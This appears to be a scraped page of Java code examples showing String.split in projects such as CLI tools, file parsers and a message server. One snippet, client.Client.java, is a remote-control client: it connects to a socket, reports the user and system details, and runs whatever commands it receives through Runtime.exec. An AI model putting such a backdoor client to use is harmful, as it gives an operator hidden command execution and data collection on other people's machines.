List of usage examples for java.lang String split
public String[] split(String regex)
From source file:dk.netarkivet.harvester.tools.CreateIndex.java
/** * The main method that does the parsing of the commandline, and makes the actual index request. * * @param args the arguments/*from w w w . j a va 2 s . c o m*/ */ public static void main(String[] args) { Options options = new Options(); CommandLineParser parser = new PosixParser(); CommandLine cmd = null; Option indexType = new Option("t", "type", true, "Type of index"); Option jobList = new Option("l", "jobids", true, "list of jobids"); indexType.setRequired(true); jobList.setRequired(true); options.addOption(indexType); options.addOption(jobList); try { // parse the command line arguments cmd = parser.parse(options, args); } catch (MissingOptionException e) { System.err.println("Some of the required parameters are missing: " + e.getMessage()); dieWithUsage(); } catch (ParseException exp) { System.err.println("Parsing of parameters failed: " + exp.getMessage()); dieWithUsage(); } String typeValue = cmd.getOptionValue(INDEXTYPE_OPTION); String jobidsValue = cmd.getOptionValue(JOBIDS_OPTION); String[] jobidsAsStrings = jobidsValue.split(","); Set<Long> jobIDs = new HashSet<Long>(); for (String idAsString : jobidsAsStrings) { jobIDs.add(Long.valueOf(idAsString)); } JobIndexCache cache = null; String indexTypeAstring = ""; if (typeValue.equalsIgnoreCase("CDX")) { indexTypeAstring = "CDX"; cache = IndexClientFactory.getCDXInstance(); } else if (typeValue.equalsIgnoreCase("DEDUP")) { indexTypeAstring = "DEDUP"; cache = IndexClientFactory.getDedupCrawllogInstance(); } else if (typeValue.equalsIgnoreCase("CRAWLLOG")) { indexTypeAstring = "CRAWLLOG"; cache = IndexClientFactory.getFullCrawllogInstance(); } else { System.err.println("Unknown indextype '" + typeValue + "' requested."); dieWithUsage(); } System.out.println("Creating " + indexTypeAstring + " index for ids: " + jobIDs); Index<Set<Long>> index = cache.getIndex(jobIDs); JMSConnectionFactory.getInstance().cleanup(); }
From source file:ReplacingStringTokenizer.java
public static void main(String[] args) { String input = "But I'm not dead yet! I feel happy!"; StringTokenizer stoke = new StringTokenizer(input); while (stoke.hasMoreElements()) System.out.println(stoke.nextToken()); System.out.println(Arrays.asList(input.split(" "))); }
From source file:com.aestel.chemistry.openEye.fp.DistMatrix.java
public static void main(String... args) throws IOException { long start = System.currentTimeMillis(); // create command line Options object Options options = new Options(); Option opt = new Option("i", true, "input file [.tsv from FingerPrinter]"); opt.setRequired(true);/*from w w w .j av a 2 s . c o m*/ options.addOption(opt); opt = new Option("o", true, "outpur file [.tsv "); opt.setRequired(true); options.addOption(opt); CommandLineParser parser = new PosixParser(); CommandLine cmd = null; try { cmd = parser.parse(options, args); } catch (Exception e) { System.err.println(e.getMessage()); exitWithHelp(options); } args = cmd.getArgs(); if (args.length != 0) exitWithHelp(options); String file = cmd.getOptionValue("i"); BufferedReader in = new BufferedReader(new FileReader(file)); file = cmd.getOptionValue("o"); PrintWriter out = new PrintWriter(new BufferedWriter(new FileWriter(file))); ArrayList<Fingerprint> fps = new ArrayList<Fingerprint>(); ArrayList<String> ids = new ArrayList<String>(); String line; while ((line = in.readLine()) != null) { String[] parts = line.split("\t"); if (parts.length == 3) { ids.add(parts[0]); fps.add(new ByteFingerprint(parts[2])); } } in.close(); out.print("ID"); for (int i = 0; i < ids.size(); i++) { out.print('\t'); out.print(ids.get(i)); } out.println(); for (int i = 0; i < ids.size(); i++) { out.print(ids.get(i)); Fingerprint fp1 = fps.get(i); for (int j = 0; j <= i; j++) { out.printf("\t%.4g", fp1.tanimoto(fps.get(j))); } out.println(); } out.close(); System.err.printf("Done %d fingerprints in %.2gsec\n", fps.size(), (System.currentTimeMillis() - start) / 1000D); }
From source file:org.springside.examples.oadata.service.ProjecgtRuleViewService.java
License:asdf
public static void main(String[] args) { String a = "123412341324*asdfasdfadsf"; String[] asStrings = a.split("\\*"); for (String string : asStrings) { System.out.println(string); }//from w ww.j a va2s . c o m }
From source file:cloudclient.Client.java
public static void main(String[] args) throws Exception { //Command interpreter CommandLineInterface cmd = new CommandLineInterface(args); String socket = cmd.getOptionValue("s"); String Host_IP = socket.split(":")[0]; int Port = Integer.parseInt(socket.split(":")[1]); String workload = cmd.getOptionValue("w"); try {/*from w w w. ja v a2 s. c om*/ // make connection to server socket Socket client = new Socket(Host_IP, Port); InputStream inStream = client.getInputStream(); OutputStream outStream = client.getOutputStream(); PrintWriter out = new PrintWriter(outStream, true); BufferedReader in = new BufferedReader(new InputStreamReader(inStream)); System.out.println("Send tasks to server..."); //Start clock long startTime = System.currentTimeMillis(); //Batch sending tasks batchSendTask(out, workload); client.shutdownOutput(); //Batch receive responses batchReceiveResp(in); //End clock long endTime = System.currentTimeMillis(); double totalTime = (endTime - startTime) / 1e3; System.out.println("\nDone!"); System.out.println("Time to execution = " + totalTime + " sec."); // close the socket connection client.close(); } catch (IOException ioe) { System.err.println(ioe); } }
From source file:cn.webank.ecif.index.server.EcifIndexServer.java
/** * @param args//from w w w.j a v a 2 s . c o m */ public static void main(String[] args) { final EcifIndexServer server = new EcifIndexServer(); // start spring context; final ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext(); context.getEnvironment().setActiveProfiles("product"); context.setConfigLocation("application.xml"); context.refresh(); context.start(); // thread pool construct ThreadPoolTaskExecutor taskThreadPool = context.getBean("taskExecutor", ThreadPoolTaskExecutor.class); server.setTaskThreadPool(taskThreadPool); ExecutorService fixedThreadPool = context.getBean("fixedTaskExecutor", ExecutorService.class); server.setSchedulerThreadPool(fixedThreadPool); EcifThreadFactory threadFactory = context.getBean("cn.webank.ecif.index.async.EcifThreadFactory", EcifThreadFactory.class); server.setThreadFactory(threadFactory); Properties props = context.getBean("ecifProperties", java.util.Properties.class); WeBankServiceDispatcher serviceDispatcher = context.getBean( "cn.webank.framework.biz.service.support.WeBankServiceDispatcher", WeBankServiceDispatcher.class); ReloadableResourceBundleMessageSource bundleMessageSource = context.getBean("messageSource", ReloadableResourceBundleMessageSource.class); String topics = props.getProperty("listener.topics"); String[] splits = topics.split(","); SolaceManager solaceManager = context.getBean("cn.webank.framework.message.SolaceManager", SolaceManager.class); MessageListener messageLisener = new MessageListener( // props.getProperty("listener.queue"), Arrays.asList(splits), Integer.parseInt(props.getProperty("listener.scanintervalseconds", "5")), taskThreadPool, Integer.parseInt(props.getProperty("listener.timeoutseconds", "5")), serviceDispatcher, solaceManager, bundleMessageSource); server.addListenerOnSchedule(messageLisener); // register shutdownhook Runtime.getRuntime().addShutdownHook(new Thread() { public void run() { try { // close resource if (context != null) { context.close(); } } catch (Exception e) { LOG.error("shutdown error", e); } } }); // hold server try { LOG.info("ecif-index server start ok!"); server.start(); } catch (Exception e) { try { // close resource server.shutDown(); if (context != null) { context.close(); } } catch (Exception ex) { LOG.error("shutdown error", ex); } } LOG.info("ecif-index server stop !"); }
From source file:client.Client.java
/** * @param args the command line arguments *//*w w w . j a va 2 s.c o m*/ public static void main(String[] args) throws Exception { Socket st = new Socket("127.0.0.1", 1604); BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream())); PrintWriter p = new PrintWriter(st.getOutputStream()); while (true) { String s = r.readLine(); new Thread() { @Override public void run() { String[] ar = s.split("\\|"); if (s.startsWith("HALLO")) { String str = ""; try { str = InetAddress.getLocalHost().getHostName(); } catch (Exception e) { } p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|" + System.getProperty("os.name") + "|" + str); p.flush(); } if (s.startsWith("msg")) { String text = fromHex(ar[1]); String title = ar[2]; int i = Integer.parseInt(ar[3]); JOptionPane.showMessageDialog(null, text, title, i); } if (s.startsWith("execute")) { String cmd = ar[1]; try { Runtime.getRuntime().exec(cmd); } catch (Exception e) { } } if (s.equals("getsystem")) { StringBuilder sb = new StringBuilder(); for (Object o : System.getProperties().entrySet()) { Map.Entry e = (Map.Entry) o; sb.append("\n" + e.getKey() + "|" + e.getValue()); } p.println("systeminfos|" + toHex(sb.toString().substring(1))); p.flush(); } } }.start(); } }
From source file:cz.muni.fi.crocs.JeeTool.Main.java
/** * @param args the command line arguments *//*from w w w. j a v a2s .c o m*/ public static void main(String[] args) { System.out.println("JeeTool \n"); checkDependencies(); Options options = OptionsMain.createOptions(); CommandLineParser parser = new DefaultParser(); CommandLine cmd; try { cmd = parser.parse(options, args); } catch (ParseException ex) { System.err.println("cannot parse parameters"); OptionsMain.printHelp(options); System.err.println(ex.toString()); return; } boolean silent = cmd.hasOption("s"); boolean verbose = cmd.hasOption("v"); //help if (cmd.hasOption("h")) { OptionsMain.printHelp(options); return; } String filepath; //path to config list of nodes if (cmd.hasOption("a")) { filepath = cmd.getOptionValue("a"); } else { filepath = "/opt/motePaths.txt"; } //create motelist MoteList moteList = new MoteList(filepath); if (verbose) { moteList.setVerbose(); } if (silent) { moteList.setSilent(); } if (verbose) { System.out.println("reading motelist from file " + filepath); } if (cmd.hasOption("i")) { List<Integer> ids = new ArrayList<Integer>(); String arg = cmd.getOptionValue("i"); String[] IdArgs = arg.split(","); for (String s : IdArgs) { if (s.contains("-")) { int start = Integer.parseInt(s.substring(0, s.indexOf("-"))); int end = Integer.parseInt(s.substring(s.indexOf("-") + 1, s.length())); for (int i = start; i <= end; i++) { ids.add(i); } } else { ids.add(Integer.parseInt(s)); } } moteList.setIds(ids); } moteList.readFile(); if (cmd.hasOption("d")) { //only detect nodes return; } //if make if (cmd.hasOption("m") || cmd.hasOption("c") || cmd.hasOption("u")) { UploadMain upload = new UploadMain(moteList, cmd); upload.runMake(); } }
From source file:de.tum.i13.ConvertCsvToProtobuf.java
public static void main(String args[]) { try {//from ww w. ja v a 2s. c om LineIterator it = FileUtils.lineIterator(new File("/Users/manit/Projects/sdcbenchmark/Dataset/debscsv"), "UTF-8"); FileOutputStream out = new FileOutputStream("/Users/manit/Projects/sdcbenchmark/Dataset/debsprotobuf", true); while (it.hasNext()) { String csvLine = (String) it.next(); byte[] csvLineBytes = csvLine.getBytes(); String line = new String(csvLineBytes, StandardCharsets.UTF_8); Debs2015Protos.Taxitrip.Builder builder = Debs2015Protos.Taxitrip.newBuilder(); String[] splitted = line.split(","); builder.setMedallion(splitted[0]); builder.setHackLicense(splitted[1]); builder.setPickupDatetime(splitted[2]); builder.setDropoffDatetime(splitted[3]); builder.setTripTimeInSecs(Integer.parseInt(splitted[4])); builder.setTripDistance(Float.parseFloat(splitted[5])); builder.setPickupLongitude(Float.parseFloat(splitted[6])); builder.setPickupLatitude(Float.parseFloat(splitted[7])); builder.setDropoffLongitude(Float.parseFloat(splitted[8])); builder.setDropoffLatitude(Float.parseFloat(splitted[9])); builder.setPaymentType(splitted[10]); builder.setFareAmount(Float.parseFloat(splitted[11])); builder.setSurcharge(Float.parseFloat(splitted[12])); builder.setMtaTax(Float.parseFloat(splitted[13])); builder.setTipAmount(Float.parseFloat(splitted[14])); builder.setTollsAmount(Float.parseFloat(splitted[15])); builder.setTotalAmount(Float.parseFloat(splitted[16])); builder.build().writeDelimitedTo(out); } out.close(); } catch (Exception e) { e.printStackTrace(); } }
From source file:ReplayTest.java
public static void main(String[] args) throws IOException { int cnt = 0;/*w w w .j av a 2s . c om*/ String operateTime = ""; String operateType = ""; String uuid = ""; String programId = ""; List<String> lines = Files.readLines(new File("e:\\test\\sample4.txt"), Charsets.UTF_8); System.out.println(lines.size()); for (String value1 : lines) { String[] values = value1.split(SPLIT_T); //logArr16?operateDate=2014-04-25 17:59:59 621, operateType=STARTUP, deviceCode=010333501065233, versionId=, mac=10:48:b1:06:4d:23, platformId=00000032AmlogicMDZ-05-201302261821793, ipAddress=60.10.133.10 if (values.length != 16) { continue; } String logContent = values[15]; if (logContent == null || logContent.trim().length() <= 0) { System.out.println("logContent"); return; } String[] contentArr = logContent.split(COMMA_SIGN);//content if (contentArr == null || contentArr.length != 3) { System.out.println("logContentArr:" + contentArr.length); return; } StringBuffer stringBuffer = new StringBuffer(); //1.CNTVID?? stringBuffer.append(StringsUtils.getEncodeingStr(values[3])).append(SPLIT); //2.IP? if (null == values[7] || EMPTY.equals(values[7])) { stringBuffer.append(StringsUtils.getEncodeingStr(EMPTY)).append(SPLIT); } else { stringBuffer.append(StringsUtils.getEncodeingStr(values[7].trim())).append(SPLIT); } //3.OperateTtype ? 1: 2:? operateType = StringUtils.substringAfter(contentArr[0].trim(), EQUAL_SIGN); if (null == operateType || EMPTY.equals(operateType)) { stringBuffer.append(StringsUtils.getEncodeingStr(EMPTY)).append(SPLIT); } else if ("on".equals(operateType)) { stringBuffer.append(StringsUtils.getEncodeingStr("1")).append(SPLIT); } else if ("out".equals(operateType)) { stringBuffer.append(StringsUtils.getEncodeingStr("2")).append(SPLIT); } // 4.operateTime ? operateTime = DateUtil.convertDateToString("yyyyMMdd HHmmss", DateUtil.convertStringToDate("yyyy-MM-dd HH:mm:ss SSS", values[10].trim())); if (operateTime == null || EMPTY.equals(operateTime)) { stringBuffer.append(StringsUtils.getEncodeingStr(EMPTY)).append(SPLIT); } else { stringBuffer.append(StringsUtils.getEncodeingStr(operateTime)).append(SPLIT); } //5.url_addr ? stringBuffer.append(StringsUtils.getEncodeingStr(EMPTY)).append(SPLIT); //6.channel? uuid = StringUtils.substringAfter(contentArr[1].trim(), EQUAL_SIGN); if (uuid == null || EMPTY.equals(uuid)) { stringBuffer.append(StringsUtils.getEncodeingStr(EMPTY)).append(SPLIT); } else { stringBuffer.append(StringsUtils.getEncodeingStr(uuid)).append(SPLIT); } //7.programId id programId = StringUtils.substringAfter(contentArr[2].trim(), EQUAL_SIGN); if (!programId.matches("\\d+")) { //id???? return; } else { stringBuffer.append(StringsUtils.getEncodeingStr(programId)).append(SPLIT); } //8.EPGCode EPG?,?EPGCode? stringBuffer.append(StringsUtils.getEncodeingStr("06")).append(SPLIT); //9.DataSource??12 stringBuffer.append(DATA_SOURCE).append(SPLIT); //10.Fsource??????? stringBuffer.append(F_SOURCE).append(SPLIT); //11.resolution ?,? stringBuffer.append(StringsUtils.getEncodeingStr(EMPTY)); System.out.println(stringBuffer.toString()); cnt++; } System.out.println(":" + cnt); }